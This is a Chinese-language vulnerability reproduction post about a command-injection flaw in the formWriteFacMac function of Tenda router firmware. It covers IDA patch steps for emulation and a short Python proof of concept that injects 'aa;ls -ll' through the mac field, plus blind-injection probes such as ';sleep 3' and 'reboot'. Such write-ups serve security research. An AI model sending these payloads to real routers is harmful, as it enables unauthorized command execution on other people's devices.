https://www.tenda.com.cn/prod/api/download/2908
使用用户级模拟启动步骤如下:
首先打开ida的精简指令,点击options->gen…把number of opcode bytes(graph) 改成4或8即可
Edit->Patch program->change byte
修改如下字节
主要nop了几个校验,把jalr $t9 ;
修改成了li $v0,1 ,对应字节为01 00 02 24,需要注意的是,只需要修改前4对字节,不要动后续原有的字节
照着改就行,然后Edit->Patch program->Apply patches to input file
将我们的更改保存进二进制文件
漏洞分析复现如下:
下载地址:
https://www.tenda.com.cn/prod/api/download/2908
漏洞点位出现在formWriteFacMac函数
doSystemCmd(“cfm mac %s”, mac) 在传入mac的时候,没有任何限制,导致可以通过命令注入手法执行任意指令
poc如下,执行ls -la指令
import requests
from pwn import *
url = “http://192.168.50.18/goform/WriteFacMac”
cookie = {“Cookie”:”password=1111″}
payload = “aa;ls -ll”
data = {“mac”: payload }
requests.post(url, cookies=cookie, data=data)
requests.post(url, cookies=cookie, data=data)
执行效果
此处推荐一个简单的测试脚本,该脚本适配burpsuite,UI页面借用的瞎测,魔改了一些内容,修复了一些bug,增加了一些功能
https://github.com/Ilovewomen/xia_ce
使用脚本进行测试,由于此处漏洞为无回显漏洞,所以可以通过自带的sleep指令,通过延迟效果进行测试
通过延迟函数实现响应延迟,从而快速发现此处是否存在命令注入漏洞,程序默认使用;sleep 3 、 | sleep 3来执行,而后通过原始请求与注入后请求的响应实现进行监测,从而进行漏洞探测,但是此方法存在一定的误报,比如说程序本身延迟过高或程序不支持sleep指令,所以此程序支持自定义指令,比如说 reboot。
暂无评论内容